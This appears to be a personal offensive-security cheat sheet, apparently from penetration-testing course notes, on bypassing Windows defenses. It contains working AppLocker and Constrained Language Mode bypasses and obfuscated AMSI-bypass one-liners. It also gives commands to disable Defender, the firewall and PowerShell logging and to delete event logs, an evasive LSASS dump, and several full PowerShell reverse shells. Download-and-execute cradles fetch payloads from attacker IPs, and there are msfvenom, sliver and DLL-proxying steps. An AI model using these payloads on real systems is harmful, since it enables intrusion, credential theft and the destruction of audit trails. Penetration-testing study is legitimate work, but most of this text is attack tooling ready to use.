C:\Windows\System32\FxsTmp
# Also related to the Task Scheduler, but not typically writable for standard users by default.
C:\Windows\System32\Tasks
# This is where AppLocker configuration and event log data are stored.
C:\Windows\System32\AppLocker
# COM+ dump folder.
C:\Windows\System32\Com\dmp
# Contains cryptographic keys used by the OS.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
# Print spooler folder, where print jobs are temporarily stored.
C:\Windows\System32\spool\PRINTERS
# Another print spooler related directory.
C:\Windows\System32\spool\SERVERS
# Contains color profiles for devices.
C:\Windows\System32\spool\drivers\color
# Specific task related to OneDrive updates.
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...
Alternate Data Stream
- Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.
- NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.
- ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.
Combine this technique with DotNetToJscript to get a meterpreter shell. 1. Creating a Simple Jscript for Proof of Concept:
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe");
- Save the above Jscript as test.js .
2. Finding a Writable and Executable File:
- A trusted location is required that has files both writable and executable.
- Example: TeamViewer version 12 on the victim machine has a log file ( TeamViewer12_Logfile.log ) that meets the criteria.
3. Embedding the Jscript into an Alternate Data Stream (ADS):
- Use the type command to copy the content into an ADS of the trusted file.
C:\Users\student>type test.js > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js"
4. Verifying the Jscript in the Alternate Data Stream:
- Use the dir /r command to validate the Jscript presence in the ADS.
dir /r "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log"
Volume in drive C has no label.
Volume Serial Number is 2467-A865
Directory of C:\Program Files (x86)\TeamViewer
09/25/2023 06:05 AM 62,790 TeamViewer12_Logfile.log
11,736 TeamViewer12_Logfile.log:demo.js:$DATA
1 File(s) 62,790 bytes
0 Dir(s) 8,034,390,016 bytes free
- The output should show the TeamViewer12_Logfile.log:test.js:$DATA indicating successful writing to the alternate data stream.
5. Executing the Jscript from the Alternate Data Stream:
- Double-clicking the icon for the log file ( TeamViewer12_Logfile.log ) opens it in Notepad as a standard log file.
- To execute the embedded Jscript, run it from the command line using wscript and specify the ADS.
wscript "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js"
AppLocker Bypass Using Powershell
Constrained Language Mode
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you're restricted in what you can do to avoid dangerous situations.
Enumerate CLM
$ExecutionContext.SessionState.LanguageMode
Custom Runspace
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present. The code below will execute in Full Language mode.
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget
# Add a reference to System.Configuration.Install in Visual Studio.
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using static System.Net.Mime.MediaTypeNames;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
String cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.1.126/run.txt') | IEX";
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
PowerShell CLM Bypass
Use only uninstall as install requires admin privileges.
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("This is the main method which is a decoy");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
String cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.1.126/run.txt') | IEX";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
To execute the code above
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe
Bypassing Antivirus
- Download and obfuscate the executable with Base64 encoding using certutil on the development Windows machine
certutil -encode
C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt
Input Length = 5120
Output Length = 7098
CertUtil: -encode command completed successfully.
C:\Users\Offsec>type file.txt
-----BEGIN CERTIFICATE-----
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.
Unable to complete transfer.
ERROR FILE: http://192.168.45.198/file.txt -> C:\users\student\enc.txt
ERROR CODE: 0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.
- Decode it on disk using certutil -decode .
- Use bitsadmin for the downloading.
- Combining Commands:
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt && certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe && del C:\users\student\enc.txt && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe

Bypass CLM using Meterpreter Powershell_execute
You can bypass CLM using meterpreters load powershell
meterpreter > load powershell
meterpreter > powershell_execute $ExecutionContext.SessionState.LanguageMode
[+] Command execution completed:
FullLanguage
meterpreter > shell
Process 6960 created.
Channel 4 created.
Microsoft Windows [Version 10.0.18363.900]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32>
PS C:\Windows\system32> $ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:\Windows\system32>
Bypass-clm script form github
GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\bypass-clm.exe"
CLMroute - Github repo
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd="whoami /priv" C:\windows\tasks\clmr.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url="http://192.168.45.180/PowerUpSQL.ps1" /cmd="Get-SQLInstanceLocal -Verbose" C:\windows\tasks\clmr.exe
Reflective injection
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1. This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.
- Generate a 64-bit Meterpreter DLL: This will be our payload.
- Host Meterpreter DLL on Kali Apache server.
- Upload Invoke-ReflectivePEInjection.ps1 (Don't use the Github version, use the one from Offsec) to the Apache server.
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("This is the main method which is a decoy");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
String cmd = "$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.45.198/met.dll'); (New-Object System.Net.WebClient).DownloadString('http://192.168.45.198/Invoke-ReflectivePEInjection.ps1') | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
To execute the above on target machine, use the command
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe


AppLocker Bypass Using JScript
JScript and HTA
See also "Droppers" and HTA.
- Microsoft HTML Applications (MSHTA) execute
.hta files using mshta.exe .
-
.hta files can have embedded JScript or VBS code.
-
mshta.exe is commonly whitelisted because it's in C:\Windows\System32 and is a signed Microsoft application.
- Using
mshta.exe can bypass whitelisting as an alternative towscript.exe .
Create a shortcut file on Windows target and create a .hta file. For example, you can you use msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f hta-psh -o index.hta
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.
How to get a meterpreter shell using Jscript and MSHTA
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.
Step 3 - To do this add HTML tags to the .js file and change the extension to .hta. Call it index.hta.
The code below is the outputted DotNetToJs jscript file but the the <html> tags added.
function setversion() {
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+
"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+
.....";
var entry_class = 'TestClass';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}
self.close();
Step 4 - Host this on your Kali using apache2 or python.
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.
Or using the command:
C:\windows\system32\mshta.exe http://kali-ip/index.hta
or visiting the website using Internet Explorer. Using another browser will end up downloading the .hta file and not executing it.

XLS Transform
- Purpose: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.
- Known As: Squiblytwo attack (see Mitre T1220).
- Basic Principle: XSLT uses .xsl documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.
Step 1 - Craft a Malicious XSL Document:
- Create a malicious XSL file containing the Jscript payload you want to execute.
- Note: This XSL file will open cmd.exe when triggered.
Step 2 - Host the Malicious XSL Document:
- Host the file on an Apache webserver or Python HTTP server.
Step 3 - Trigger the Payload:
- Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.
wmic process get brief /format:"http://192.168.119.120/test.xsl"
- A new command prompt should open.
Getting Meterpreter shell
Step 1 - Edit the .xsl file
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate
The entire code will look like this.
Step 3 - Host the .xsl on your kali and run the follow command on target
wmic process get brief /format:"http://192.168.119.120/test.xsl"

AV Evasion - General
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet
Check AV – Running, Exclusion, Disable
- Check if Windows Defender is running:
Get-MpComputerStatus | Select RealTimeProtectionEnabled
- Get info about Windows Defender:
Get-MpPreference
- Find excluded folders from Windows Defender:
Get-MpPreference | select Exclusion*
- Create exclusion:
Set-MpPreference -ExclusionPath "<path>"
- Check AV detections:
Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime
- Get last AV detection:
Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1
- Disable AV monitoring:
Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true
- Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1
- Enumerate AV / EDR: https://github.com/tothi/serviceDetector
// What AV is running on the system
// Importing necessary namespaces
using System;
using System.Management;
internal class Program
{
static void Main(string[] args)
{
var status = false; // Variable to track the presence of antivirus software
Console.WriteLine("[+] Antivirus check is running .. ");
// Array of antivirus processes to check for
string[] AV_Check = {
"MsMpEng.exe", "AdAwareService.exe", "afwServ.exe", "avguard.exe", "AVGSvc.exe",
"bdagent.exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.exe", "GDScan.exe",
"avp.exe", "K7CrvSvc.exe", "McAPExe.exe", "NortonSecurity.exe", "PavFnSvr.exe",
"SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe"
};
// Creating a ManagementObjectSearcher to query Windows processes
var searcher = new ManagementObjectSearcher("select * from win32_process");
var processList = searcher.Get(); // Retrieving the list of processes
int i = 0;
foreach (var process in processList)
{
// Checking if the process is one of the antivirus processes
int _index = Array.IndexOf(AV_Check, process["Name"].ToString());
if (_index > -1)
{
// Antivirus process found
Console.WriteLine("--AV Found: {0}", process["Name"].ToString());
status = true;
}
i++;
}
// Checking the status variable to determine if antivirus software was found or not
if (!status)
{
Console.WriteLine("--AV software is not found!");
}
}
}
Windows Firewall
- Get state:
Get-NetFirewallProfile -PolicyStore ActiveStore
- Get rules:
Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize
- Disable firewall:
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
- Enable firewall:
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
- Change default policy:
Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow
- Open port on firewall:
netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT>
- Remove firewall rule:
Remove-NetFirewallRule -DisplayName "Allow port"
Powershell – ASMI bypass methods, Disable AV, etc
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFai
led','NonPublic,Static').SetValue($null,$true)
AMSI Bypass
- Start 64 bit powershell:
%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
- Change execution policy:
Set-ExecutionPolicy Bypassor-ExecutionPolicy Bypass
- Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:
If patched, just change up the strings/variables.
Single-line bypasses:
$A=\"5492868772801748688168747280728187173688878280688776\" $B=\"8281173680867656877679866880867644817687416876797271\" function C ($n, $m) { [string] ($n..$m|% { [char] [int] (29+ ($A+$B). substring ( ($_*2),2))})-replace \" \"} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,'NonPublic,Static').SetValue ($null,$true)
Multi-line bypass:
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType ( (' {0} {1}i {2}' -f $a,$b,$u))
$field = $assembly.GetField ( ('a {0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue ($null,$true)
Single-line bypasses:
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
Credit: https://buaq.net/go-98295.html
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
Credit: https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification (however, I think it’s originally from Matt Graeber)
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)
Credit: https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html
Bypass CLM (Constrained Language Mode)
Escapes for Constrained Language Mode:
# Escape 1
$ExecutionContext.SessionState.LanguageMode
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode
# Escape 2
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = "FullLanguage"
# Escape 3
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode
# Escape 4
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,1)
$ExecutionContext.SessionState.LanguageMode
# Escape 5
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode
# Escape 6
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,1)
$ExecutionContext.SessionState.LanguageMode
# Escape 7
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('signatures','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.List[string]'))
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('optimizedAstCache','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.Dictionary[string,System.Management.Automation.Ast]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').Add('*')
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').Add('*')
$ExecutionContext.SessionState.LanguageMode
# Escape 8
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}
Bypass logging
Logging evasion techniques:
# Technique 1: Disable Script Block Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
# Technique 2: Disable Transcription Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
# Technique 3: Delete the log files from the system (requires admin privileges)
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)
Invoke-Expression "IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')"
Disable MS Defender (Require elevation)
Turning off Windows Defender:
Get-MPPreference
Set-MPPreference -DisableRealTimeMonitoring $true
Set-MPPreference -DisableIOAVProtection $true
Set-MPPreference -DisableIntrusionPreventionSystem $true
Add folder exclusion
Adding a folder exclusion Add-MpPreference -ExclusionPath "C:\temp"
Checking exclusions
Get-MpPreference | Select-Object -Property ExclusionPath
ExclusionPath
-------------
{C:\temp}
LSASS dumping without triggering Defender
$S = "C:\temp"
$P = (Get-Process lsass)
$A = [PSObject].Assembly.GetType('Syst'+'em.Manage'+'ment.Autom'+'ation.Windo'+'wsErrorRe'+'porting')
$B = $A.GetNestedType('Nativ'+'eMethods', 'Non'+'Public')
$C = [Reflection.BindingFlags] 'NonPublic, Static'
$D = $B.GetMethod('MiniDum'+'pWriteDump', $C)
$PF = "$($P.Name)_$($P.Id).dmp"
$PDP = Join-Path $S $PF
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))
$F.Close()
Reverse Shells
Set-Alias -Name K -Value Out-String
Set-Alias -Name nothingHere -Value iex
$BT = New-Object "S`y`stem.Net.Sockets.T`CPCl`ient"($args[0],$args[1]);
$replace = $BT.GetStream();
[byte[]]$B = 0..(32768*2-1)|%{0};
$B = ([text.encoding]::UTF8).GetBytes("(c) Microsoft Corporation. All rights reserved.`n`n")
$replace.Write($B,0,$B.Length)
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$replace.Write($B,0,$B.Length)
[byte[]]$int = 0..(10000+55535)|%{0};
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);
$I = (nothingHere $ROM 2>&1 | K );
$I2 = $I + (pwd).Path + '> ';
$U = [text.encoding]::ASCII.GetBytes($I2);
$replace.Write($U,0,$U.Length);
$replace.Flush()};
$BT.Close()
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$SS = $J.GetStream();
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
$OO = ([text.encoding]::UTF8).GetBytes("Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n")
$SS.Write($OO,0,$OO.Length)
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + '>')
$SS.Write($OO,0,$OO.Length)
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);
$GG = (i`eX $DD 2>&1 | Out-String );
$H = $GG + (pwd).Path + '> ';
$L = ([text.encoding]::UTF8).GetBytes($H);
$SS.Write($L,0,$L.Length);
$SS.Flush()};
$J.Close()
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$I = $c.GetStream();
[byte[]]$U = 0..(2-shl15)|%{0};
$U = ([text.encoding]::ASCII).GetBytes("Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n")
$I.Write($U,0,$U.Length)
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$I.Write($U,0,$U.Length)
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);
$a = (iex $D 2>&1 | Out-String );
$r = $a + (pwd).Path + '> ';
$m = ([text.encoding]::ASCII).GetBytes($r);
$I.Write($m,0,$m.Length);
$I.Flush()};
$c.Close()
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)
Reverse PowerShell:
$socket = new-object System.Net.Sockets.TcpClient('10.10.14.5', 4445);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
$writer.Write("PS> ");
$writer.Flush();
$read = $null;
while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$writer.Write($sendbyte,0,$sendbyte.Length);
}While ($true);
$writer.close();$socket.close();
PowerShell Download payload
WebClient DownloadData http://x.x.x.x/file.exe method:
$bytes = (new-object net.webclient).downloaddata("http://10.10.16.74:8080/payload.exe")
[System.Reflection.Assembly]::Load($bytes)
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
$main = [Shell].getmethod("Main", $BindingFlags)
$main.Invoke($null, $null)
Tools that may help with AV Evasion:
C2 Frameworks
Command And Control – C2 Framework – BOOK_GHANIM
Bypassing defender with sliver and staged process hollowing
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would've helped us circumvent guest access blocking.
First generate a shellcode using msfvenom.
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.
# Snippet from process hollowing code. See CheatSheet II for full code.
string targetPath = "C:\\Windows\\System32\\svchost.exe";
string shellcodePath = "\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin"; // Replace with the actual shellcode file path
IntPtr processHandle, threadHandle;
uint threadId;
No I will start an smbserver on my kali and setup sliver.
# Create a new profile that will be we will use for our staging listener.
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode
# Creata a steage listener and link it to our profile.
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size
# Last start a listener on mTLS.
mtls



Convert .bin to shellcode \x hex
./binnim ~/shellcode.bin
DLL Proxying
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.
sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)
> * Spartacus automates most of the process. It parses raw SysInternals Process Monitor logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app). > > > > * Automatically generate Visual Studio solutions for vulnerable DLLs.
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.
#pragma once
#pragma comment(linker,"/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4")
#pragma comment(linker,"/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5")
#pragma comment(linker,"/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6")
#pragma comment(linker,"/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7")
#pragma comment(linker,"/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8")
#pragma comment(linker,"/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9")
#pragma comment(linker,"/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10")
#pragma comment(linker,"/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11")
